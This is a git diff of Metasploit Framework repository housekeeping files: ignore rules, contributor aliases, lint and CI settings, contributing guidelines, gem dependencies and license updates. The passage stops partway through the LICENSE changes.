diff --git a/.gitignore b/.gitignore index 82e108ff0c..015a4fd9f7 100644 --- a/.gitignore +++ b/.gitignore @@ -1,20 +1,28 @@ .bundle +Gemfile.local +Gemfile.local.lock # Rubymine project directory .idea # Sublime Text project directory (not created by ST by default) .sublime-project # RVM control file, keep this to avoid backdooring Metasploit .rvmrc +# Allow for a local choice of (unsupported / semi-supported) ruby versions +# See PR #4136 for usage, but example usage for rvm: +# rvm --create --versions-conf use 2.1.4@metasploit-framework +# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run: +# rbenv shell 2.1.4 +.versions.conf # YARD cache directory .yardoc # Mac OS X files .DS_Store # database config for testing config/database.yml +# target config file for testing +features/support/targets.yml # simplecov coverage data coverage -data/meterpreter/ext_server_pivot.x86.dll -data/meterpreter/ext_server_pivot.x64.dll doc/ external/source/meterpreter/java/bin external/source/meterpreter/java/build @@ -48,6 +56,34 @@ tags *.opensdf *.user +# Rails log directory +/log +# Rails tmp directory +/tmp + # ignore release/debug folders for exploits external/source/exploits/**/Debug external/source/exploits/**/Release + +# Avoid checking in Meterpreter binaries. These are supplied upstream by +# the meterpreter_bins gem. +data/meterpreter/elevator.*.dll +data/meterpreter/ext_server_espia.*.dll +data/meterpreter/ext_server_extapi.*.dll +data/meterpreter/ext_server_incognito.*.dll +data/meterpreter/ext_server_kiwi.*.dll +data/meterpreter/ext_server_lanattacks.*.dll +data/meterpreter/ext_server_mimikatz.*.dll +data/meterpreter/ext_server_priv.*.dll +data/meterpreter/ext_server_stdapi.*.dll +data/meterpreter/metsrv.*.dll +data/meterpreter/screenshot.*.dll + +# Avoid checking in Meterpreter libs that are built from +# private source. If you're interested in this functionality, +# check out Metasploit Pro: http://metasploit.com/download +data/meterpreter/ext_server_pivot.*.dll + +# Avoid checking in metakitty, the source for +# https://rapid7.github.io/metasploit-framework. It's an orphan branch. +/metakitty diff --git a/.mailmap b/.mailmap index 713206e261..9c68bd3c28 100644 --- a/.mailmap +++ b/.mailmap @@ -1,22 +1,42 @@ +bcook-r7 Brent Cook bturner-r7 Brandon Turner +cdoughty-r7 Chris Doughty +dheiland-r7 Deral Heiland dmaloney-r7 David Maloney -dmaloney-r7 David Maloney # aka TheLightCosine +dmaloney-r7 David Maloney +dmaloney-r7 dmaloney-r7 ecarey-r7 Erran Carey farias-r7 Fernando Arias hmoore-r7 HD Moore hmoore-r7 HD Moore +jhart-r7 Jon Hart jlee-r7 egypt # aka egypt jlee-r7 James Lee # aka egypt jlee-r7 James Lee -joev-r7 joev joev-r7 Joe Vennix +joev-r7 Joe Vennix +joev-r7 joev +joev-r7 jvennix-r7 +joev-r7 jvennix-r7 jvazquez-r7 jvazquez-r7 jvazquez-r7 jvazquez-r7 +kgray-r7 Kyle Gray limhoff-r7 Luke Imhoff +lsanchez-r7 darkbushido +lsanchez-r7 Lance Sanchez +lsanchez-r7 Lance Sanchez +lsanchez-r7 Lance Sanchez +lsanchez-r7 Lance Sanchez +mbuck-r7 Matt Buck +mbuck-r7 Matt Buck +mschloesser-r7 Mark Schloesser +mschloesser-r7 mschloesser-r7 +parzamendi-r7 parzamendi-r7 shuckins-r7 Samuel Huckins todb-r7 Tod Beardsley todb-r7 Tod Beardsley todb-r7 Tod Beardsley +trosen-r7 Trevor Rosen trosen-r7 Trevor Rosen wchen-r7 sinn3r # aka sinn3r wchen-r7 sinn3r @@ -24,6 +44,7 @@ wchen-r7 Wei Chen wvu-r7 William Vu wvu-r7 William Vu wvu-r7 William Vu +wvu-r7 wvu-r7 # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at @@ -33,10 +54,13 @@ wvu-r7 William Vu # let todb@metasploit.com know. bannedit David Rude -Brandon Perry Brandon Perry -Brandon Perry Brandon Perry -Brian Wallace (B)rian (Wall)ace -Brian Wallace Brian Wallace +bcoles bcoles +bcoles Brendan Coles +brandonprry Brandon Perry +brandonprry Brandon Perry +brandonprry Brandon Perry +bwall (B)rian (Wall)ace +bwall Brian Wallace ceballosm Mario Ceballos Chao-mu Chao Mu Chao-mu chao-mu @@ -58,35 +82,44 @@ jduck Joshua Drake jgor jgor kernelsmith Joshua Smith kernelsmith kernelsmith +kernelsmith Joshua Smith kost Vlatko Kosturjak kris kris <> m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 +m-1-k-3 Michael Messner Meatballs1 Ben Campbell Meatballs1 Meatballs -Meatballs1 Meatballs1 +Meatballs1 Meatballs1 mubix Rob Fuller nevdull77 Patrik Karlsson -nmonkee nmonkee +nmonkee nmonkee nullbind nullbind +nullbind Scott Sutherland ohdae ohdae -OJ OJ Reeves -OJ OJ +oj OJ +oj OJ Reeves r3dy Royce Davis r3dy Royce Davis Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com> rsmudge Raphael Mudge # Aka `butane schierlm Michael Schierl # Aka mihi scriptjunkie Matt Weeks +scriptjunkie scriptjunkie skape Matt Miller spoonm Spoon M swtornio Steve Tornio Tasos Laskos Tasos Laskos +timwr Tim +timwr Tim Wright +TomSellers Tom Sellers TrustedSec trustedsec +zeroSteiner Spencer McIntyre # Aliases for utility author names. Since they're fake, typos abound -Tab Assassin Tabasssassin Tab Assassin Tabassassin Tab Assassin TabAssassin +Tab Assassin Tabasssassin +Tab Assassin URI Assassin diff --git a/.rspec b/.rspec index 0d8a01e567..7932beb709 100644 --- a/.rspec +++ b/.rspec @@ -1,2 +1,3 @@ --color --format Fivemat +--require spec_helper diff --git a/.rubocop.yml b/.rubocop.yml new file mode 100644 index 0000000000..95aeb51d59 --- /dev/null +++ b/.rubocop.yml @@ -0,0 +1,84 @@ +# This list was intially created by analyzing the last three months (51 +# modules) committed to Metasploit Framework. Many, many older modules +# will have offenses, but this should at least provide a baseline for +# new modules. +# +# Updates to this file should include a 'Description' parameter for any +# explaination needed. + +# inherit_from: .rubocop_todo.yml + +Metrics/ClassLength: + Description: 'Most Metasploit modules are quite large. This is ok.' + Enabled: true + Exclude: + - 'modules/**/*' + +Style/Documentation: + Enabled: true + Description: 'Most Metasploit modules do not have class documentation.' + Exclude: + - 'modules/**/*' + +Style/Encoding: + Enabled: true + Description: 'We prefer binary to UTF-8.' + EnforcedStyle: 'when_needed' + +Metrics/LineLength: + Description: >- + Metasploit modules often pattern match against very + long strings when identifying targets. + Enabled: true + Max: 180 + +Metrics/MethodLength: + Enabled: true + Description: >- + While the style guide suggests 10 lines, exploit definitions + often exceed 200 lines. + Max: 300 + +# Basically everything in metasploit needs binary encoding, not UTF-8. +# Disable this here and enforce it through msftidy +Style/Encoding: + Enabled: false + +# %q() is super useful for long strings split over multiple lines and +# is very common in module constructors for things like descriptions +Style/UnneededPercentQ: + Enabled: false + +Style/NumericLiterals: + Enabled: false + Description: 'This often hurts readability for exploit-ish code.' + +Style/SpaceInsideBrackets: + Enabled: false + Description: 'Until module template are final, most modules will fail this.' + +Style/StringLiterals: + Enabled: false + Description: 'Single vs double quote fights are largely unproductive.' + +Style/WordArray: + Enabled: false + Description: 'Metasploit prefers consistent use of []' + +Style/RedundantBegin: + Exclude: + # this pattern is very common and somewhat unavoidable + # def run_host(ip) + # begin + # ... + # rescue ... + # ... + # ensure + # disconnect + # end + # end + - 'modules/**/*' + +Documentation: + Exclude: + - 'modules/**/*' diff --git a/.ruby-version b/.ruby-version index 7a895c2142..cd57a8b95d 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -1.9.3-p484 +2.1.5 diff --git a/.simplecov b/.simplecov index e8c1b367cf..32c98d818b 100644 --- a/.simplecov +++ b/.simplecov @@ -39,7 +39,6 @@ SimpleCov.configure do # Other library groups # - add_group 'Fastlib', 'lib/fastlib' add_group 'Metasm', 'lib/metasm' add_group 'PacketFu', 'lib/packetfu' add_group 'Rex', 'lib/rex' diff --git a/.travis.yml b/.travis.yml index 6c815d2340..fcf8745ccd 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,22 +1,41 @@ +bundler_args: --without coverage development pcap +cache: bundler +env: + - RAKE_TASKS="cucumber cucumber:boot" + - RAKE_TASKS=spec SPEC_OPTS="--tag content" + - RAKE_TASKS=spec SPEC_OPTS="--tag ~content" + language: ruby -env: MSF_SPOTCHECK_RECENT=1 +matrix: + fast_finish: true before_install: + - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc" - rake --version - - sudo apt-get update -qq - - sudo apt-get install -qq libpcap-dev + # Fail build if msftidy is not successful + - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge + - ls -la ./.git/hooks + - ./.git/hooks/post-merge before_script: - - ./tools/msftidy.rb - cp config/database.yml.travis config/database.yml - bundle exec rake --version - bundle exec rake db:create - bundle exec rake db:migrate - +script: + # fail build if db/schema.rb update is not committed + - git diff --exit-code && bundle exec rake $RAKE_TASKS +sudo: false rvm: - #- '1.8.7' - '1.9.3' + - '2.1' notifications: irc: "irc.freenode.org#msfnotify" git: depth: 5 + +# Blacklist certain branches from triggering travis builds +branches: + except: + - gh-pages + - metakitty diff --git a/.yardopts b/.yardopts index bb3a0e391f..b58b0bda2b 100644 --- a/.yardopts +++ b/.yardopts @@ -3,5 +3,8 @@ --exclude \.ut\.rb/ --exclude \.ts\.rb/ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE +app/**/*.rb lib/msf/**/*.rb +lib/metasploit/**/*.rb lib/rex/**/*.rb +plugins/**/*.rb diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a376969ddd..bcb3d8273a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,68 +1,113 @@ -# Contributing to Metasploit +# Hello, World! Thanks for your interest in making Metasploit -- and therefore, the -world -- a better place! What you see here in CONTRIBUTING.md is a -bullet-point list of the do's and don'ts of how to make sure *your* -valuable contributions actually make it into Metasploit's master branch. +world -- a better place! + +Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker]. +Please try to be as specific as you can about your problem, include steps +to reproduce (cut and paste from your console output if it's helpful), and +what you were expecting to happen. + +Are you about to report a security vulnerability in Metasploit itself? +How ironic! Please take a look at Rapid7's [Vulnerability +Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send +your report to security@rapid7.com using our [PGP key]. + +Are you about to contribute some new functionality, a bug fix, or a new +Metasploit module? If so, read on... + +# Contributing to Metasploit + +What you see here in CONTRIBUTING.md is a bullet-point list of the do's +and don'ts of how to make sure *your* valuable contributions actually +make it into Metasploit's master branch. If you care not to follow these rules, your contribution **will** be -closed (*Road House* style). Sorry! +closed. Sorry! -Incidentally, this is a **short** list. The -[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more +This is intended to be a **short** list. The [wiki] is much more exhaustive and reveals many mysteries. If you read nothing else, take a -look at the standard [development environment setup -guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) -and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes). +look at the standard [development environment setup] guide, +and Metasploit's [Common Coding Mistakes]. ## Code Contributions -* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide). -* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages. -* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`. +* **Do** stick to the [Ruby style guide]. +* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying. +* **Do** follow the [50/72 rule] for Git commit messages. +* **Don't** use the default merge messages when merging from other branches. +* **Do** create a [topic branch] to work on instead of working directly on `master`. ### Pull Requests +* **Do** target your pull request to the **master branch**. Not staging, not develop, not release. * **Do** specify a descriptive title to make searching for your pull request easier. -* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`. -* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable. +* **Do** include [console output], especially for witnessable effects in `msfconsole`. +* **Do** list [verification steps] so your code is testable. * **Don't** leave your pull request description blank. * **Don't** abandon your pull request. Being responsive helps us land your code faster. -Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow. +Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow. #### New Modules -* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). -* **Do** use the [API](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. + - Even better would be to set up `msftidy.rb` as a [pre-commit hook]. +* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. +#### Scripts + +* **Don't** submit new [scripts]. Scripts are shipped as examples for + automating local tasks, and anything "serious" can be done with post + modules and local exploits. + #### Library Code -* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up. -* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs. -* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code. +* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up. +* **Do** follow [Better Specs] - it's like the style guide for specs. +* **Do** write [YARD] documentation - this makes it easier for people to use your code. +* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate. #### Bug Fixes * **Do** include reproduction steps in the form of verification steps. -* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description. +* **Do** include a link to any corresponding [Issues] in the format of + `See #1234` in your commit description. ## Bug Reports -* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com. -* **Do** create a Redmine account and report your bug there. +* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com. * **Do** write a detailed description of your bug and use a descriptive title. * **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. * **Don't** file duplicate reports - search for your bug before filing a new report. -* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead. - -Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow. If you need some more guidance, talk to the main body of open -source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4) -or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers) -mailing list. +source contributors over on the [Freenode IRC channel] +or e-mail us at [metasploit-hackers] mailing list. Also, **thank you** for taking the few moments to read this far! You're already way ahead of the curve, so keep it up! + +[Issue Tracker]:http://r-7.co/MSF-BUGv1 +[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D +[wiki]:https://github.com/rapid7/metasploit-framework/wiki +[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts +[development environment setup]:http://r-7.co/MSF-DEV +[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes +[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide +[Rubocop]:https://rubygems.org/search?query=rubocop +[50.72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html +[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches +[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks +[verification steps]:https://help.github.com/articles/writing-on-github#task-lists +[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940 +[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043 +[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb +[API]:https://rapid7.github.io/metasploit-framework/api/ +[RSpec]:http://rspec.info/ +[Better Specs]:http://betterspecs.org/ +[YARD]:http://yardoc.org/ +[Issues]:https://github.com/rapid7/metasploit-framework/issues +[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4 +[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers diff --git a/COPYING b/COPYING index abacaa53dd..7a2735e866 100644 --- a/COPYING +++ b/COPYING @@ -1,4 +1,4 @@ -Copyright (C) 2006-2013, Rapid7 Inc. +Copyright (C) 2006-2015, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/Gemfile b/Gemfile index 9dbb6ba2db..2ce6643e21 100755 --- a/Gemfile +++ b/Gemfile @@ -1,33 +1,18 @@ source 'https://rubygems.org' +# Add default group gems to `metasploit-framework.gemspec`: +# spec.add_runtime_dependency '', [] +gemspec name: 'metasploit-framework' -# Need 3+ for ActiveSupport::Concern -gem 'activesupport', '>= 3.0.0' -# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) -gem 'bcrypt-ruby' -# Needed for some admin modules (scrutinizer_add_user.rb) -gem 'json' -# Needed by msfgui and other rpc components -gem 'msgpack' -# Needed by anemone crawler -gem 'nokogiri' -# Needed by anemone crawler -gem 'robots' -# Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.9' - -group :db do - # Needed for Msf::DbManager - gem 'activerecord' - # Database models shared between framework and Pro. - gem 'metasploit_data_models', '~> 0.16.9' - # Needed for module caching in Mdm::ModuleDetails - gem 'pg', '>= 0.11' +# separate from test as simplecov is not run on travis-ci +group :coverage do + # code coverage for tests + # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. + # see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0) + gem 'simplecov', '0.5.4', :require => false end -group :pcap do - gem 'network_interface', '~> 0.0.1' - # For sniffer and raw socket modules - gem 'pcaprub' +group :db do + gemspec name: 'metasploit-framework-db' end group :development do @@ -35,6 +20,8 @@ group :development do gem 'redcarpet' # generating documentation gem 'yard' + # for development and testing purposes + gem 'pry' end group :development, :test do @@ -42,24 +29,29 @@ group :development, :test do # Version 4.1.0 or newer is needed to support generate calls without the # 'FactoryGirl.' in factory definitions syntax. gem 'factory_girl', '>= 4.1.0' + # automatically include factories from spec/factories + gem 'factory_girl_rails' # Make rspec output shorter and more useful gem 'fivemat', '1.2.1' # running documentation generation tasks and rspec tasks gem 'rake', '>= 10.0.0' + # testing framework + gem 'rspec', '>= 2.12', '< 3.0.0' + # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the + # environment is development + gem 'rspec-rails' , '>= 2.12', '< 3.0.0' +end + +group :pcap do + gemspec name: 'metasploit-framework-pcap' end group :test do - # Removes records from database created during tests. Can't use rspec-rails' - # transactional fixtures because multiple connections are in use so - # transactions won't work. - gem 'database_cleaner' - # testing framework - gem 'rspec', '>= 2.12' + # cucumber extension for testing command line applications, like msfconsole + gem 'aruba' + # cucumber + automatic database cleaning with database_cleaner + gem 'cucumber-rails', :require => false gem 'shoulda-matchers' - # code coverage for tests - # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. - # see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0) - gem 'simplecov', '0.5.4', :require => false # Manipulate Time.now in specs gem 'timecop' end diff --git a/Gemfile.local.example b/Gemfile.local.example new file mode 100644 index 0000000000..1707e69605 --- /dev/null +++ b/Gemfile.local.example @@ -0,0 +1,34 @@ +## +# Example Gemfile.local file for Metasploit Framework +# +# The Gemfile.local file provides a way to use other gems that are not +# included in the standard Gemfile provided with Metasploit. +# This filename is included in Metasploit's .gitignore file, so local changes +# to this file will not accidentally show up in future pull requests. This +# example Gemfile.local includes all gems in Gemfile using instance_eval. +# It also creates a new bundle group, 'local', to hold additional gems. +# +# This file will not be used by default within the framework. As such, one +# must first install the custom Gemfile.local with bundle: +# bundle install --gemfile Gemfile.local +# +# Note that msfupdate does not consider Gemfile.local when updating the +# framework. If it is used, it may be necessary to run the above bundle +# command after the update. +# +### + +# Include the Gemfile included with the framework. This is very +# important for picking up new gem dependencies. +msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile') +if File.readable?(msf_gemfile) + instance_eval(File.read(msf_gemfile)) +end + +# Create a custom group +group :local do + # Use pry-debugger to step through code during development + gem 'pry-debugger', '~> 0.2' + # Add the lab gem so that the 'lab' plugin will work again + gem 'lab', '~> 0.2.7' +end diff --git a/Gemfile.lock b/Gemfile.lock index d23d0eb424..be8dd91aa2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,83 +1,246 @@ +PATH + remote: . + specs: + metasploit-framework (4.11.0.pre.dev) + actionpack (>= 3.2.21, < 4.0.0) + activesupport (>= 3.2.21, < 4.0.0) + bcrypt + jsobfu (~> 0.2.0) + json + metasploit-concern (~> 0.3.0) + metasploit-model (~> 0.29.0) + meterpreter_bins (= 0.0.14) + msgpack + nokogiri + packetfu (= 1.1.9) + railties + rb-readline + recog (~> 1.0) + robots + rubyzip (~> 1.1) + sqlite3 + tzinfo + metasploit-framework-db (4.11.0.pre.dev) + activerecord (>= 3.2.21, < 4.0.0) + metasploit-credential (~> 0.13.19) + metasploit-framework (= 4.11.0.pre.dev) + metasploit_data_models (~> 0.22.8) + pg (>= 0.11) + metasploit-framework-pcap (4.11.0.pre.dev) + metasploit-framework (= 4.11.0.pre.dev) + network_interface (~> 0.0.1) + pcaprub + GEM remote: https://rubygems.org/ specs: - activemodel (3.2.14) - activesupport (= 3.2.14) + actionmailer (3.2.21) + actionpack (= 3.2.21) + mail (~> 2.5.4) + actionpack (3.2.21) + activemodel (= 3.2.21) + activesupport (= 3.2.21) builder (~> 3.0.0) - activerecord (3.2.14) - activemodel (= 3.2.14) - activesupport (= 3.2.14) + erubis (~> 2.7.0) + journey (~> 1.0.4) + rack (~> 1.4.5) + rack-cache (~> 1.2) + rack-test (~> 0.6.1) + sprockets (~> 2.2.1) + activemodel (3.2.21) + activesupport (= 3.2.21) + builder (~> 3.0.0) + activerecord (3.2.21) + activemodel (= 3.2.21) + activesupport (= 3.2.21) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.14) + activeresource (3.2.21) + activemodel (= 3.2.21) + activesupport (= 3.2.21) + activesupport (3.2.21) i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) - arel (3.0.2) - bcrypt-ruby (3.1.2) + arel (3.0.3) + arel-helpers (2.1.0) + activerecord (>= 3.1.0, < 5) + aruba (0.6.1) + childprocess (>= 0.3.6) + cucumber (>= 1.1.1) + rspec-expectations (>= 2.7.0) + bcrypt (3.1.10) builder (3.0.4) - database_cleaner (1.1.1) - diff-lcs (1.2.4) - factory_girl (4.2.0) + capybara (2.4.1) + mime-types (>= 1.16) + nokogiri (>= 1.3.3) + rack (>= 1.0.0) + rack-test (>= 0.5.4) + xpath (~> 2.0) + childprocess (0.5.3) + ffi (~> 1.0, >= 1.0.11) + coderay (1.1.0) + cucumber (1.2.1) + builder (>= 2.1.2) + diff-lcs (>= 1.1.3) + gherkin (~> 2.11.0) + json (>= 1.4.6) + cucumber-rails (1.4.0) + capybara (>= 1.1.2) + cucumber (>= 1.2.0) + nokogiri (>= 1.5.0) + rails (>= 3.0.0) + diff-lcs (1.2.5) + erubis (2.7.0) + factory_girl (4.4.0) activesupport (>= 3.0.0) + factory_girl_rails (4.4.1) + factory_girl (~> 4.4.0) + railties (>= 3.0.0) + ffi (1.9.3) fivemat (1.2.1) - i18n (0.6.5) - json (1.8.0) - metasploit_data_models (0.16.9) - activerecord (>= 3.2.13) - activesupport + gherkin (2.11.6) + json (>= 1.7.6) + hike (1.2.3) + i18n (0.6.11) + journey (1.0.4) + jsobfu (0.2.1) + rkelly-remix (= 0.0.6) + json (1.8.1) + mail (2.5.4) + mime-types (~> 1.16) + treetop (~> 1.4.8) + metasploit-concern (0.3.0) + activesupport (~> 3.0, >= 3.0.0) + railties (< 4.0.0) + metasploit-credential (0.13.19) + metasploit-concern (~> 0.3.0) + metasploit-model (~> 0.29.0) + metasploit_data_models (~> 0.22.8) pg - mini_portile (0.5.1) - msgpack (0.5.5) + railties (< 4.0.0) + rubyntlm + rubyzip (~> 1.1) + metasploit-model (0.29.0) + activesupport + railties (< 4.0.0) + metasploit_data_models (0.22.8) + activerecord (>= 3.2.13, < 4.0.0) + activesupport + arel-helpers + metasploit-concern (~> 0.3.0) + metasploit-model (~> 0.29.0) + pg + railties (< 4.0.0) + recog (~> 1.0) + meterpreter_bins (0.0.14) + method_source (0.8.2) + mime-types (1.25.1) + mini_portile (0.6.1) + msgpack (0.5.11) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.6.0) - mini_portile (~> 0.5.0) + nokogiri (1.6.5) + mini_portile (~> 0.6.0) packetfu (1.1.9) pcaprub (0.11.3) - pg (0.16.0) - rake (10.1.0) - redcarpet (3.0.0) + pg (0.18.1) + polyglot (0.3.5) + pry (0.10.0) + coderay (~> 1.1.0) + method_source (~> 0.8.1) + slop (~> 3.4) + rack (1.4.5) + rack-cache (1.2) + rack (>= 0.4) + rack-ssl (1.3.4) + rack + rack-test (0.6.2) + rack (>= 1.0) + rails (3.2.21) + actionmailer (= 3.2.21) + actionpack (= 3.2.21) + activerecord (= 3.2.21) + activeresource (= 3.2.21) + activesupport (= 3.2.21) + bundler (~> 1.0) + railties (= 3.2.21) + railties (3.2.21) + actionpack (= 3.2.21) + activesupport (= 3.2.21) + rack-ssl (~> 1.3.2) + rake (>= 0.8.7) + rdoc (~> 3.4) + thor (>= 0.14.6, < 2.0) + rake (10.4.2) + rb-readline (0.5.2) + rdoc (3.12.2) + json (~> 1.4) + recog (1.0.16) + nokogiri + redcarpet (3.1.2) + rkelly-remix (0.0.6) robots (0.10.1) - rspec (2.14.1) - rspec-core (~> 2.14.0) - rspec-expectations (~> 2.14.0) - rspec-mocks (~> 2.14.0) - rspec-core (2.14.5) - rspec-expectations (2.14.2) + rspec (2.99.0) + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rspec-collection_matchers (1.0.0) + rspec-expectations (>= 2.99.0.beta1) + rspec-core (2.99.1) + rspec-expectations (2.99.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.14.3) - shoulda-matchers (2.3.0) - activesupport (>= 3.0.0) + rspec-mocks (2.99.2) + rspec-rails (2.99.0) + actionpack (>= 3.0) + activemodel (>= 3.0) + activesupport (>= 3.0) + railties (>= 3.0) + rspec-collection_matchers + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rubyntlm (0.4.0) + rubyzip (1.1.7) + shoulda-matchers (2.6.2) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - timecop (0.6.3) - tzinfo (0.3.37) - yard (0.8.7) + slop (3.6.0) + sprockets (2.2.3) + hike (~> 1.2) + multi_json (~> 1.0) + rack (~> 1.0) + tilt (~> 1.1, != 1.3.0) + sqlite3 (1.3.10) + thor (0.19.1) + tilt (1.4.1) + timecop (0.7.1) + treetop (1.4.15) + polyglot + polyglot (>= 0.3.1) + tzinfo (0.3.42) + xpath (2.0.0) + nokogiri (~> 1.3) + yard (0.8.7.4) PLATFORMS ruby DEPENDENCIES - activerecord - activesupport (>= 3.0.0) - bcrypt-ruby - database_cleaner + aruba + cucumber-rails factory_girl (>= 4.1.0) + factory_girl_rails fivemat (= 1.2.1) - json - metasploit_data_models (~> 0.16.9) - msgpack - network_interface (~> 0.0.1) - nokogiri - packetfu (= 1.1.9) - pcaprub - pg (>= 0.11) + metasploit-framework! + metasploit-framework-db! + metasploit-framework-pcap! + pry rake (>= 10.0.0) redcarpet - robots - rspec (>= 2.12) + rspec (>= 2.12, < 3.0.0) + rspec-rails (>= 2.12, < 3.0.0) shoulda-matchers simplecov (= 0.5.4) timecop diff --git a/HACKING b/HACKING index 1de1e7cfa1..17343a9f03 100644 --- a/HACKING +++ b/HACKING @@ -10,7 +10,7 @@ CONTRIBUTING.md in the same directory as this file, and to a lesser extent: The Metasploit Development Environment -https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment +https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment Common Coding Mistakes https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes diff --git a/LICENSE b/LICENSE index a7a86a08e1..4e8724eaf5 100644 --- a/LICENSE +++ b/LICENSE @@ -2,13 +2,13 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Source: http://www.metasploit.com/ Files: * -Copyright: 2006-2013, Rapid7 Inc. +Copyright: 2006-2015, Rapid7, Inc. License: BSD-3-clause # The Metasploit Framework is provided under the 3-clause BSD license provided # at the end of this file. # -# The copyright on this package is held by Rapid7 LLC. +# The copyright on this package is held by Rapid7, Inc. # # This license does not apply to third-party components detailed below. # @@ -36,6 +36,10 @@ Files: external/ruby-lorcon/* Copyright: 2005, dragorn and Joshua Wright License: LGPL-2.1 +Files: external/source/exploits/IE11SandboxEscapes/* +Copyright: James Forshaw, 2014 +License: GPLv3 + Files: external/source/byakugan/* Copyright: Lurene Grenier, 2009 License: BSD-3-clause @@ -83,10 +87,6 @@ Files: lib/bit-struct.rb lib/bit-struct/* Copyright: 2005-2009, Joel VanderWerf License: Ruby -Files: lib/fastlib.rb -Copyright: 2011, Rapid7 Inc. -License: Ruby - Files: lib/metasm.rb lib/metasm/* data/cpuinfo/* Copyright: 2006-2010 Yoann GUILLOT License: 